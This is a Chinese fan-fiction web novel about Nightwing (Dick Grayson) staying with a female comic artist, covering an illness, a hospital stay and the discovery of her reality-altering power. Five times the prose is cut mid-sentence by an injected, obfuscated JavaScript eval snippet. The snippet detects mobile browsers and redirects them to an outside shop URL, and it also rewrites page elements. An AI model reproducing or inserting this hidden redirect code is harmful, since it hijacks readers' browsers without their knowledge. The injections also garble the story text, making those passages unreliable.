水龙头的水流盖住了厨房外的动静,等到我将并不算多的碗筷洗刷干净,将灶台上的油烟痕迹清理之后,厨房的门悄无声息的打开。 我感受到客厅的暖光照射在我身上,使得我下意识地回过头去。 带着纳米面具的黑发男人逆光站在厨房门口,靠在门框上面向我,黑色的夜翼制服包裹着面前这具极具爆发力和柔韧性的躯体,胸口的蓝色飞鸟尽情舒展着羽翼,一直延伸到中指与无名指指尖,紧实的腰腹壁垒分明,延展性极强的黑色布料包裹住大腿,而小腿部分的线条格外流畅,一眼就可以看出极为发达的跟腱,充分证明运动能力的强悍。 我的视线上移,最终落在他的面具上。 面具上属于眼睛的部分被一层白色网膜遮盖住,因此我无法准确地判断他是否正在注视着我,但我确确实实有那么一瞬间感受到心脏漏跳了一拍。 我就这样沉默地看着他,喉咙像是被堵住一样发不出声音来。 最后还是对面的人率先开口。 “你是怎么想到要买——我是说,准备这一身?”他清亮的声音在这片静谧的空间中想起,终于将我从无言的沉默里拉扯回来。 我张嘴想要说话,却发现我的声音前所未有的干涩,“呃,我只是觉得遗憾。” 这句话说出,我总算是觉得说话没那么艰难了,可是有一种热气却随着我的开口慢慢凝聚到我的脸上。 “我只是觉得遗憾,如果你很快就要回去,我可能看不到你穿夜翼制服的样子,那太可惜了。” 我咧开嘴笑,“现在看来,我的决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014389|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定真是再正确不过了,这一身真的很适合你,我可是花了大价钱搞来的定制版,布料都用的高科技,面具也是找的3D打印按照你的脸型做的建模,希望能跟你真正的制服没有太大差别。” 说到这里,我甚至有点骄傲。 回应我的,是迪克伸过来的手。 “嘿,安,你怎么哭了?” 我哭了吗? 我后知后觉地感觉到眼眶有点酸,有些丢脸地想要去摸一下眼眶,却被迪克抢先了,他用很轻的力度擦掉了我眼角的泪水,可我却感觉到心中那种躁动越来越快,连带着他落在我脸上的手都如千钧重。 “所以,我或许可以邀请你来一场说走就走的冒险?” 迪克轻柔的说。 我仰起脸,对他的邀请有些茫然。 冒险,我们要去哪里冒险? “来吧,女士,我可是飞翔的格雷森,你不想看到我在天空的表演吗?” 我努力吸着鼻子,让自己看起来不那么糟糕,不过我已经在迪克面前丢脸过很多次了,恐怕也不差这一次。 他的手紧紧握住了我的手,拉着我走向阳台,推开了窗户。 “我还没说同意呢。” 我哑着嗓子说。 夏夜清爽的晚风拂过他的发梢,吹我我的眉眼,我如此清晰地看清他脸上一闪而没的得意的笑颜。 “准备好咯。” 有力的手臂揽过我的腰,我在一瞬间的失重中努力攀援上他的脖颈,慌乱之间我听到他轻缓的呼吸,以及从他的胸膛之间传递过来的强劲心跳。 一个人的重量对于迪克来说似乎并不是什么困难,他几乎是一只手将我整个人托起,就算是一只手也可以轻易地将我们两个人牢牢固定在半空。 这种感觉是从未有过的,甚至我从未想过有一天会做出这么危险的举动,毫无安全措施挂在居民楼的防盗窗上,就像是两片没有依托的浮萍,在夜风中摇曳着,随时都可能跌入深渊。 我控制不住地向下望去,地面已经距离我们很远,夜色中仅能看到路灯下微弱的光,迪克却以一种惊人的速度向上攀爬,那些对于我来说如同牢笼的防盗窗对于他来说却是极好的猫爬架。 这种刺激对于我来说还是太超过了,我感受到一阵晕眩,连忙紧紧闭上眼睛,很怕失去平衡掉下去,可是心脏却随着他的动作前所未有的狂跳起来。 太刺激了。 我想。 怎么可以这么犯规? 揽在我腰上的手就像是最坚固的安全锁,仍旧牢牢箍住我,这居然给我带来了莫大的安全感,让我不由自主地信任他。 随着迪克最后一下跳跃,我们平安落在了楼顶,在脚踏实地之后,我这才大着胆子慢慢睁开眼。 低垂的夜幕之下,四通八达的交通网彼此交织,绚烂的灯流犹如人间银河。 鸣笛声与人声都已离我远去,此世间唯一的声音就是耳畔传来的属于迪克的笑声。 他牵起我的手,拉着我向前跑去,每一根发梢都飞扬起来,于此时与我的心跳同频。 “还没完呢,女士,表演才刚刚开始!” 18.018 最终我们这场出格冒险被迫终止在突如其来的大雨中。 起先是细密的雨丝,当我们停下动作仰望天空的时候,小雨就突兀地变成了大雨,豆大的雨点砸在人身上,让我们不得不提前离开。 冰凉的夜雨浇灭了我原本躁动的心,我有点遗憾这场雨来的真不是时候,毕竟这很可能是我这辈子唯一一次经历这么刺激的事情,迪克已经跟蝙蝠侠联系上,从他们的进度来看,迪克返回的日子已经逐渐迫近。 “或许等下一次有机会,我可以穿上真正的制服带你去冒险。”迪克看出了我的意犹未尽,再次向我张开双臂,“我们得回去了,你淋雨可能会感冒。” 我现在已经浑身湿透了,单薄的夏季睡裙没办法很好的在大雨中为我保暖,现在已经感觉到冷意顺着脚爬到后背。 怎么上来的,也就怎么下去。 等到我们再次降落在阳台上,我们两个已经彻底成了落汤鸡。 但我没有急着去洗澡换衣服,而是在迪克将阳台的门关上之后拽住他的手臂,“你还没有告诉我,你喜不喜欢我送你的礼物呢。” 迪克将脸上的面具摘下,我终于得见他的蓝眼睛,此时正盛满笑意看着我,“我以为我已经用行动表达了我的喜爱?” 他握住我的双肩,将我原地转了个圈,“快去洗澡吧,你现在在发抖。” 我没有再说话,拿上换洗的衣服走进浴室,在关上门的那一刻,我这才失去所有力气似的撑住台盆,注视着镜子里的自己。 凌乱的湿发紧贴着我的脸颊,因为心情起伏的缘故,能够明显地看到一团红晕。 闺蜜的话还犹在耳边,而我却已经有了一种未来会被旗子插满身的不祥预感。 我用力地捂住脸,不敢再抬头去跟镜子里的我对视。 不出所料的,第二天我被可恶的感冒放倒了。 其实后半夜我就隐隐约约觉得不太好,大脑像是被针扎了一样刺痛,导致我睡得并不安稳,在床上反复翻滚,最后天蒙蒙亮的时候我爬了起来,体温计一测38.9。 得,高烧。 屋漏更遭连阴雨,我编辑在凌晨三点左右给我发了开新单元的消息,我得在两天内给她发一份大纲和首章线稿。 天塌了。 我几乎是哭丧着脸拖着病体下床蹲在床头柜里找感冒药,一杯温水下肚,我的头更疼了。 就在此时,房门被轻轻敲响。 我捂着脑袋低低地应了一声,示意对方自己推门进来。 客厅的灯光伴随着门扉开启照射进来,照亮了一小块地板,迪克拿着不知道什么东西站在门口,迟疑地看着我。 “你现在感觉怎么样,安,用不用我送你去医院?” 迪克是怎么知道我生病了的? 我发热的大脑无法支撑我思考太多复杂的事情,我半跪在床榻边的毛绒地毯上,想要撑着床头柜站起来,但很不幸的是我现在一点力气没有,高烧烧得我头昏脑涨四肢发软,而刚刚吃下去的药显然没有那么快起效。 “劳驾,来扶我一把。” 我气若游丝地指挥。 穿着拖鞋的脚步声临近,我感觉到对方弯腰,直接将我从地上拦腰抱了起来,轻轻放到了床上。 我甫一接触到柔软的被子,就飞快缩了进去,将自己裹成了一个蚕蛹。 而后我就听到了迪克发出不可置信的声音,“十六度的空调?!” 我一顿,默默将自己埋的更深。 我知道这是坏习惯啦,但在十六度的空调房里盖棉被多舒服啊! 夏天那么热,外面还下着雨,屋里又闷又潮湿,不开空调简直像个桑拿房。 “你不能这么贪凉,安,空调的温度在室温状态是最合适的。”迪克这一次难得强硬地做了回主,将空调温度上调至二十六度。 我在蚕蛹里发出郁闷的惨叫,“你不能这么做!” 二十六度的空调跟没开有什么区别! 但我浑身都没力气,叫出来的声音也跟蚊子哼哼似的,迪克装作没听到我说话,不怎么客气地将我从被子里挖出来,不顾我挣扎反抗用手背测量我额头的热度。 “你是这个世界上最坏的鸟!”我出离愤怒地试图用脑袋撞他的手,很快就被无情镇压。 “老实点。” 这个时候的迪克有点莫名的压迫感,我盯着他的眼睛,与他对视。 下一秒,我眼眶一热,眼泪滚滚滑落。 好吧,行。 迪克收回手,无奈地端起床头柜上的水杯,看了一眼时间。 “退烧药的起效时间是半个小时,可以先睡一会,我去弄点吃的。” “我要吃酸辣粉!”我大声说话。 “病人禁止吃辣。”迪克无情地关上了门。 我收回视线,脑子烧的有点发晕,整个天花板在我面前都变成了光怪陆离的一块破布条,拼命在我面前扭动着,浑身还冒着小星星。 “我才不会立flag。”我倔强地嘟囔着,抹了一把眼泪开始在床上寻找我的手机。 除了编辑给我发的消息,我妈也难得发来了照片。 “准备启程去吃海鲜,乖宝想不想吃海货啊,给你邮一点?” 图片上我妈戴着遮阳帽坐在沙滩椅上,不远处的另一把椅子上我老爹正躺在椅子上喝可乐,看着镜头比了一个耶。 我哐哐打字,“要的要的,多来点大鱿鱼我爱吃!” 我眯着眼睛仔细瞅了一眼老爹的肚子,然后又哐哐打字,“让老爹别再吃重油重盐的东西了,他看起来胖了一圈!” 我妈迅速地发来一个黄豆人大笑。 我放下手机,感觉热的不行,空调的温度调回去之后,再盖上棉被就不合适了,我干脆踢掉被子,抱着抱枕昏昏沉沉地睡了过去。 昏沉之间,我感觉有什么冰凉的东西贴在我的额头上,我费力地试图睁开眼睛,但很快失败了,我再次陷入黑暗。 等我再次醒来的时候,外面的天空仍旧是阴沉沉的,像是又要下雨的样子。 不等我扭过头,就感觉额头上再次附上来一只手,停留片刻,又很快移开。 我退烧了。 房间里很安静,我能感觉到迪克就坐在旁边的地毯上翻看漫画书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17018893|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在不出门的时候,他就会这样找一个地方翻阅我那些漫画期刊,电视里还播放着少年正义联盟。 “需要喝一点水吗?”迪克问。 不过他应该没指望我回答,非常贴心地将我上半身扶起来,然后将温热的水杯塞进我手里。 我确实感觉到渴了,高烧把我的嘴唇也烧得干裂,急需补充水分。 谢天谢地我终于退烧了,要是现在还不退烧的话我就得想办法让没有驾驶证的迪克开车带我去医院挂水了。 “我睡了多......?” 我被自己的鸭子叫吓了一跳,手一抖,杯子里剩下的水差点全喂了我的被子。 迪克接过水杯放在一边,“一个小时,还算幸运,你现在需要再量一次体温。” 他顿了顿,继续道:“饭已经做好了,要现在吃吗?” 我不知道该说什么了,就说一句光辉圣洁吧。 “吃。”沙哑的气声。 宝娟,我的嗓子! 体温量完,温度已经恢复正常,但我仍旧感觉浑身都发麻,垮着一张脸坐在凳子上,低头去看迪克准备的饭。 牛奶燕麦粥,搭配两块烤面包。 好好好,厨艺果然升级了。 “你今天没有去咖啡厅吗?”我问。 “我请假了。”迪克坐在我对面,撑着脑袋看我吃饭,犹豫了一下,说道:“抱歉,我昨天不应该带你出去......” 我把一块面包撕成两半,然后迅速塞进迪克的嘴里,他一时不察,居然真的被我偷袭成功了,呆在原地咬着面包,看起来有点傻。 “说什么呢,要怪也应该是怪我吧,毕竟是我送的衣服。” 这个时候我反而淡定起来了,心情也愉悦了不少,大概是迪克在我面前总是显得很游刃有余的样子,让我心里生出一些邪恶的好点子。 “真要说抱歉的话,不如继续给我当模特吧?” 我在此之前一直在构思我的新作角色和剧情,大概率会是向往常一样画夹杂着各种刀片的小甜饼。 但是现在,我决定改换一下风格。 我想画一个美梦。 迪克将那片面包飞快的咽下,几乎没做多少犹豫地同意了。 “没问题,只要你想。” 我侧过头,去看阳台上已经洗好挂起来的衣服,夜翼的那套cos服也用夹子夹起来挂在那,慢慢晃动着。 我:“......” 好怪,再看一眼。 算了,孩子喜欢这样,我选择尊重。 我回过头,刚想要继续去喝碗里的燕麦粥,就看见白粥上漂浮着一滴红色的液体。 ......诶? 我盯着那滴液体看了一会,直到第二滴液体滴落在碗里,我这才后知后觉地抬起头看向迪克。 我好像流鼻血......了。 凳子腿摩擦地板的声音尖利刺耳,我看到迪克一瞬间站起的身影,以及对方一张一合的嘴,他在说什么,为什么那么惊慌? 我想要问出口,却发现我张不开嘴了。 我的世界天旋地转。 19.019 “实验结果如何?” “失败。” “继续实验。” “通道被打开的成功率非常小,先生,我们几乎不可能做到入侵高纬度世界,它会把我们所有人都当成异类侵蚀掉的。” “当然,博士,我知道你的顾虑。”一个轻柔和缓的声音道:“但是你应该清楚不是吗,这个世界有罪,我们需要被救赎,高纬度世界是唯一能够审判我等罪孽的存在。” ...... “你们找到突破口了吗?” “是的,先生,我们可真幸运,高纬度某个存在主动联系上了我们,她的能量强大到足以将我们的整个世界升维!” “很好,抽干她。” 轻柔的声音说。 ...... 宇宙中,我目睹了一场恒星大爆炸。 一颗足有月球那么大的陨石从左侧撞击了我面前的那颗恒星,在爆炸中,两艘梭形飞船一前一后向着宇宙的深处急射而出。 我注视着这一切,盯着飞船上的那个大大的S,总有种陌生又熟悉的感觉。 那是什么,这场爆炸与我有关吗? 我是谁,为什么会在这里? 头好晕,我现在可以吐吗? ...... 身穿夜翼制服的克拉克·肯特横空出世,与吉米·奥尔森组成初代夜翼与初代火鸟,完成了这对超级英雄的首次登场。 与我印象中截然不同的克拉克举起双臂,在混乱中与吉米配合默契,将他们的敌人一一击倒。 截然不同? 我在想什么,看漫画看岔了吧,我怎么会梦到超人穿上夜翼制服啊,还有他在星球日报的同事吉米不是普通人吗,怎么变成了初代火鸟? 等等,超人又是谁? ...... 第二代夜翼与火鸟,好陌生,完全不认识。 我好像没看到过二代的漫画,跳过跳过。 ...... 黒发蓝眼的青年俊美无俦,身姿挺拔,他专注地坐在身穿红蓝制服的超人身旁,倾听年长者缓缓讲述夜翼神与火鸟神的传说。 “Nightwing,伟大的重建者,变革的催化剂。”[1] 年长者的脸上浮现出惆怅与欣慰交织的神色,仿佛在回忆久远的过去,仿佛在幻想那从未见过一面的故土。 “在永恒的重生中,缔造新的开始。”[2] 随着年龄的增长,年轻人年少时那些柔软活泼的线条逐渐硬朗,也不再忍耐于待在导师身边做一个助手,他与导师一度产生了分歧,最终他选择飞离导师的身边。 在迷茫之际,他遇到了人生中第二个重要的存在,超人。 “我需要一个新的代号,克拉克。”他向温和的前辈倾诉自己的烦恼,这位与自己导师作为世界最佳拍档的年长者轻轻一笑,慷慨地为年轻人答疑解惑。 于是年轻人选择从前辈的手中接过这个代号,夜翼,也继承了这个名字所代表的含义与精神。 他是飞翔的格雷森,是灰色之子,他注定是属于天空的鹰隼,在羽翼渐丰时展翅起飞。 “你或许可以去找你的父亲谈谈。” 临别时,克拉克这样说。 他知道这对半路父子情谊深厚,他们的情感脱离了血缘,在短暂的相处过程中成为永恒的家人,哪怕是一时的分歧,也无法彻底斩断父与子的缘分。 年轻人沉默良久,然后郑重点头。 我注视着这一切,目光无法从年轻人的脸上挪开。 他是谁? 他叫什么名字? 我一定认识他。 我笃定的想。 他就在我家呢,是我养的小鸟。 我混乱的大脑里不合时宜地出现了年轻人或笑或搞怪的脸,那个名字几乎在我的唇齿间呼之欲出。 就在我盯着年轻人发呆之时,他突然停下向前的脚步,转过身看向我的方向。 隔着亿万光年的距离,那道目光清澈而锐利,直直地穿透时间与空间,对上我深深凝望他的视线。 我们的目光在星海之间交汇。 在绚烂的星河掩映之下,我看到他跑向我。 “安!” 他叫着我的名字。 嗯?这种仿佛出现在什么小清新纯爱番剧里的场景,真的适合我这种在欧美圈大染缸里杀个七进七出的人吗? 不管了,他叫我也叫。 “迪克!” 不行了,好肉麻,我到底在干什么? 我被硬生生吓醒了。 醒来还是很尴尬,使我的脚趾疯狂扭动。 没等我看清天花板,一张脸就在我的面前骤然放大。 令我感到尴尬的家伙就这样没事人似的出现在我面前,于是我毫不客气地伸手推开他的脸。 “注意社交距离,小伙子。” “你终于醒了,现在感觉怎么样?” 迪克没有在意我推开他的行为,给我调试了一下输液袋的位置,继续凑了过来观察我的状况。 我盯着天花板,后知后觉地意识到我自己正身处医院,鼻端全是医院病房里那股熟悉又讨厌的消毒水味。 四肢仍旧有些发软,那是高烧后的短期后遗症,不过现在比起那会好多了,至少我的嗓子不再那么沙哑了。 “还行,没死,还能活好久。”我麻木地回答。 迪克微微挑眉。 “现在有三个消息,两个好消息,一个坏消息,你想听那个?” 我侧过脑袋,“你直接说吧,以后这种俗气桥段就不要让我出演了好吗好的。” “好消息是,你的身体没有任何问题,没有病变,没有肿瘤,一切正常。”迪克拿起放在一旁床头柜上的病例单,“坏消息是,你身体里的能量仍旧在透支,属于你的沙漏快要流干最后一颗沙粒。” 病房里有些闷热,窗户被打开了一扇,隔着纱窗我能听见外面的杨树上趴着的知了正在生命的最后几天里拼命的鼓噪,仿佛这样就能把声音永远地刻在这个世界似的。 “你还没有说最后一个好消息呢,迪克。” 迪克俊俏的脸上流露出几分笑意。 “最后的好消息是,我成功找到填补流失能量空缺的方法了。” 于是我理所当然地觉得那张脸变得更加俊俏了几分。 太靠谱了啊,蝙蝠家的大哥! 在我热切的目光注视下,迪克有些得意地清清嗓子,“这几天我用了一些方法建造了一个数学模型,通过这个模型可以探测到这座城市内一些能量波动幅度异常的地点,这意味着——” “这意味着?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17023084|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我目露期待。 “这意味着它们可以填补你身体里空缺的能量条,短时间内你不用再担心能量透支的问题。”迪克最后总结。 我感动地看着他。 面前的这位年轻人是多么的光辉圣洁啊,他就是这么的负责又靠谱,是蝙蝠侠永远倚仗的好助手,是蝙蝠家最受欢迎的好大哥,是泰坦最伟大的初代队长! 如果现在我的手里有票,我一定要把属于我的那一票投给DC编辑部夜翼分部,让他们把靠谱的夜翼侠画的更完美一些! 他值得! “所以那些特殊的地点在哪里?”我满含期待地坐直了身体。 “这几个词有点绕口。”迪克拿出手机查了一下,然后坚持自己用中文念出口,“武当山。” 我:“?” “......还有呢?” “洞庭湖。” “......And then?” “神农架。” “哦——”我拉长声音,“你想去旅游了。” 迪克停顿下来,有点可怜地看着我,似乎不明白我为什么会这样曲解他的意思。 被他这样一看,我的心中顿时涌现出一丝把人欺负狠了的罪恶感,于是决定大出血一回。 “稍等一下。” 我准备唤出我的终极大法,找家长。 我打通了我老爹的电话,并示意迪克保持绝对安静。 “喂,媛媛啊,出什么事了?” 老爹那边传来海浪翻涌的声音,因此他说话的声音都被盖过了些许。 “爹地,我最爱的爹地~”我掐着嗓子,甜甜地说,“现在有一个非常好的机会放在你面前,你愿意帮我一个小小小忙吗?” “说吧,要多少?” 老爹冷静地问。 “你看着给。”我说:“没有你们在身边的日子太孤单寂寞了,世界那么大,我要去看看。” “行,好,没问题,记得到地方给你妈报备。”老爹没有过多地问我要去哪,只是单纯的叮嘱我要先过我妈那一关,他只需要当一个合格的钱袋子。 老爹只需要掏钱就够了,而我考虑的就多了。 挂断电话的三秒钟后,我的银行卡上多了一笔数目可观的转账。 “妥了。”我放下手机。“第一站去哪?” 迪克欲言又止,止言又欲,最后张了张嘴,“你和你的父母关系很好。” “你最好祈祷我妈不会发现我的开销流水里多了一个陌生人的痕迹。”我幽幽的说:“不然你会看到一个叠加了教师buff的鄂省女人的最终形态。” “什么?”迪克好奇地问。 “你不会想知道的。”我百无聊赖地玩了会病床被单上的细绳,问道:“医生说我什么时候可以出院?” “今天下午如果没有问题的话就可以离开了。”迪克回答。 他查看了一下输液袋里的液体留存情况,很快判断出还有五分钟就可以拔针了。 “哦对了。”我突然想起来一件很严重的事情。 “什么?”迪克正在调试输液袋的位置,防止输液管里不会出现气泡之类的危险源。 “你怎么送我来的?” “开你的车。” 我:“......” 布豪,我的驾照! 20.020 虽然说是要去那些景点看看是不是真的可以让我恢复一些能量,但是眼下最重要的事情还是要把工作完成。 自从迪克来了之后,我就将常用的绘图设备搬到了主卧,这样方便我熬夜赶稿,一旦进入到工作状态,时间就流逝的非常快,经过一天半的写写画画,总算是卡在第二天的深夜完成了线稿,连同我的总纲一块发给编辑。 大概是时间太阴间的缘故,编辑并没有第一时间回复我的消息,不过我和编辑都已经习惯了互相在阴间时间催稿和交稿,偶尔死线的时候编辑还会一整个晚上连续夺命连环call与我极致拉扯。 哈哈,画不完,怎么想都画不完吧。 被通宵肝稿弄得憔悴不堪的我大清早推开房门,就看到迪克精神百倍地在客厅的空地上做俯卧撑。 从计时器上的时间来看,他已经锻炼了有一阵子了。 每天早上雷打不动的锻炼,最开始我还会停下来观赏一下清晨美景,没几天就免疫了,我端着咖啡杯如同游魂一般从他的身边经过,准备再去泡一杯咖啡提神,今天的主要任务是打点行装,为下午的出发做准备。 一口咖啡灌进嘴里,苦的感觉人生都灰败成干巴巴的线稿,我打了个激灵,勉强清醒了几分,挪着步子走到沙发边坐下,看着迪克继续数俯卧撑的数量。 半晌,我眯起眼。 “迪克。” “108,109......怎么?” “你是不是胖了?” 迪克的动作停了下来,半跪在地上抬起脑袋看我。 “不,这绝不可能,我每天都会做锻炼。”他严肃地在原地盘腿坐着,向我展示他的肱二头肌。 “不可能,你在质疑我的专业水准。”我啜饮着咖啡,目光逐渐犀利起来。 “从上次我给你画速写那天到现在,你至少胖了六磅。” 画过石膏像的人都知道,模特身上肌肉线条的每一处走向都清晰的很,稍微有点变化就能立刻察觉出来。 不过我应该知道迪克为什么每天运动量这么大还会胖了。 这些天我们每天吃的东西都是一样的,除去中午那顿饭,早餐和晚餐都是分量十足,别的不说,我家这边过早绝对品类丰富,吃一个月不带重样的,所以我们两个早上的时候基本不怎么在家吃,都是出去吃,就算晚上基本吃的都是轻食,但仍旧分量十足。 总而言之,言而总之,迪克现在胖了四斤,这是毋庸置疑的事实。 迪克刚来我家的时候其实还有点憔悴,大概是经常熬夜加上白班晚班连轴转,时常困得能把自己脸埋进麦片碗里,再强健的体魄也必然长不了多少肉,但来到这里就不一样了。 吃的好睡得好,一天能睡满八小时,运动量相较于在布鲁德海文需要夜巡也下降了许多,好日子过久了自然容光焕发。 迪克有些失魂落魄地开始做卷腹,看起来被打击的有点狠。 我在沙发上笑的前仰后合,手一摸肚皮,也僵了。 大家吃的都一样,没道理只有迪克胖了我没胖,对吧。 人之常情。 我不动声色地放开手,决定把咖啡换成冰美式,那玩意劲大还不长肉,除了喝完会觉得命很苦之外没有别的缺点。 运动是不可能多运动的,偶尔出去跑跑步已经是极限了。 收拾好东西,启程出发。 “感受到什么了吗?” 我闭着眼睛站在草地里,感受到一阵清爽的风扑面而来,带着青草与泥土的气味,还夹杂着迪克手里拿着的奶酪的甜香。 虽然迪克早就跟我说过我身体里可能有能连结两个位面的能力,但是我到现在都对这种虚无缥缈的东西感到陌生,毕竟我从来没有像那些超能力小说里描述的那样,感觉身体里有力量在涌动之类的。 完全没感觉啊,这个超能力者当的也太没有参与感了吧。 我睁开眼睛,刚想说我什么都没有感觉到,但就在我睁开眼的那一瞬间,我突然看到面前的景象整个扭曲了一下。 很快我就意识到那不是什么错觉之类的东西,整个世界在我的面前逐渐一道道线条组成的大型线稿,而我是线稿上唯一的数位笔,可以轻易的将其中某些线条擦除或是更改。 广袤的草原变成了简单的儿童简笔画,帐篷变成了小方块,无数个小人在简笔画的线条里弹跳着晃动,代表马匹的线段一扭一扭,无数个代表对话框的弹窗跳出来,挤满了我的视野。 这种感觉太奇怪了,就好像只要我想,我可以轻易地擦除某个线段似的,这种令人毛骨悚然的视野仅仅维持了三秒钟,很快就恢复了正常。 天空蔚蓝如洗,白云如练,夏日的阳光照亮的油绿的草地,马儿的嘶鸣从我的身侧响起,唤回了我有些迟缓的思绪。 迪克就站在距离我三步远的地方看着我,在我看过去的时候若有所思地摊开手,示意我去看。 什么? 我顺着他的目光望过去,原本在迪克手里拿着的是我刚买了没吃完的奶酪,变成了一摊牛奶,正顺着迪克的指缝向下滴落。 “时间被改变了。”迪克将手上的牛奶擦拭干净,很快就得出了结论,“随着能量的恢复,你身体里的力量正在复苏,很快就不再是什么都感觉不到的状态了,你刚刚看到了什么?” 我将刚刚看到的事情一五一十地讲给他听,然后好奇地问,“奶酪究竟是怎么变成牛奶的?” 我睁开眼的时候那块奶酪已经变成了牛奶,没能看到那么神奇的一幕还是有点可惜。 “你闭上眼睛开始感受能量的时候,奶酪的时间就被倒流了。” 奶酪是牛奶发酵后制作出来的奶制品,时间倒流之后自然就恢复了原本的形态。 我有点茫然,毕竟我觉得我什么都没有做,那三秒钟根本不够我做些什么,顶多就是下意识地抬手想摸一摸那些线条,但是我又没摸到。 迪克思索了一会,露出了恍然的神色,“你闻到了气味。” 我:“?” “什么意思?” 迪克露出有些揶揄的笑容,“这块奶酪很好吃,对吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030465|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以至于你在潜意识的情况下都想吃掉这块奶酪。” 我迟疑地顺着迪克的话往下说:“所以,是因为我闻到了奶酪的香气,所以潜意识改变了它?” 我惊讶地拔高了声音,“所以并不需要我用手去做些什么,只需要意念就可以?” “目前来说是这样的没错。”迪克关心地问,“你有感觉到难受吗,头晕恶心之类的?” 我摇了摇头,在原地蹦跳了两下,确定道:“没有,我现在能跑能跳还能吃。” 刚刚能力发动并没有让我感觉到任何不舒服的地方。 迪克暂且放下心来,从背包里掏出他已经制作好的能量检测模型,屏幕上的数字不断跳动着,最后停留在一个区间里不动了。 “初测能量与现在测量的能量差值很大,这说明你需要的能量远远不止于此,如果我的预测没有出太大误差的话,你目前的能量已经补充了三分之一。” 他摆弄着那个模型,在其中一端的指示灯亮起绿色之后,放在了我的手心。 红光轻轻闪动了三下,然后迅速熄灭。 “这是个很好的结果,”迪克这样说着,却皱起了眉,“但是我目前仍旧无法弄清楚你的能力具体能够起到哪些作用,单一物体的时间倒流是很精细的操作,由线条组成的空间也......” “要不你问问蝙蝠侠他们吧。” 我已经放弃用自己的大脑去思考了,决定寻求外援。 为什么不问问神奇蝙蝠呢? 联络器被放在了家里没有带出来,不过现在我缺少能量的问题已经解决,剩下的时间可以轻松愉快地度过。 “走吧,这里还有些挺好玩的项目,不过我很久都没有来了,感觉变了不少。”我心中的石头落了地,既然来都来了,那得好好的待着迪克玩一遍才行。 木兰草原的夏季风景很好,虽然草地并没有内蒙那边的草地茂盛,但跟城市对比起来空气清新天朗气清,是个放松心情的好地方。 马场距离这里不远,不过我不是很想去骑马,毕竟有点臭,而且马鞍总是硌的屁股疼,骑完一场下来感觉屁股都不是自己的了。 不过可玩的项目还是有很多,毕竟这里也算是鄂省一个很不错的旅游景点,比起那些留存下来的名胜古迹,这种单纯来享受新鲜空气和拍照打卡的地方可能更受人欢迎一些。 今天的气温有些高,临近正午的时候我就不准备继续在太阳下面晒着了,不过迪克倒是很喜欢晒太阳,可能是因为哥谭和布鲁德海文都不怎么受太阳的青睐,也可能是因为美国人就是单纯的喜欢被太阳晒的感觉。 所以我找了个遮蔽阳光的遮阳伞下坐着,迪克把椅子往外挪了挪,就这样像一只晒化了的猫咪一样瘫在了上面。 这种场景有点过于可爱,我开始拿着静了音的手机闪电三连拍。 出图率非常喜人,每一张都是可以直接发朋友圈的程度,不过我还是克制住了这个念头,选择把照片放进私密相册里。 等迪克离开之后,这也是一份不错的回忆呢。 21.021 深夜,蝙蝠洞。 阿尔弗雷德端着餐盘从旋梯上缓步走下,脚步声在寂静空荡的空间里回响。 布鲁斯坐在蝙蝠电脑前注视着屏幕,手中咖啡杯里的咖啡已经凉透了也不记得放下来,听到脚步声也仅仅是回了一下头,然后放下杯子继续敲击键盘。 他的眼底有着淡淡的乌青,这几天为了和钢骨一起建立跨纬度传送通道,熬夜的时长已经增加到了每天仅睡不到两个小时,将原本就不算多的睡眠时间严重压缩,阿尔弗雷德对此颇有微词。 “我以为今天的工作时间已经结束了,布鲁斯老爷?” 阿尔弗雷德轻缓优雅的声音自布鲁斯的身后响起,并将托盘中的水杯端给他,这是来自潘尼沃斯特供的鲜榨复合果蔬汁。 “事实上,还没有结束,阿福。”布鲁斯接过果蔬汁喝了一口。 他的视线终于从屏幕上移开,落在手里那杯颜色诡异的液体上,艰难地吞咽了下去。 “好苦,阿福,你往里面放了什么?” 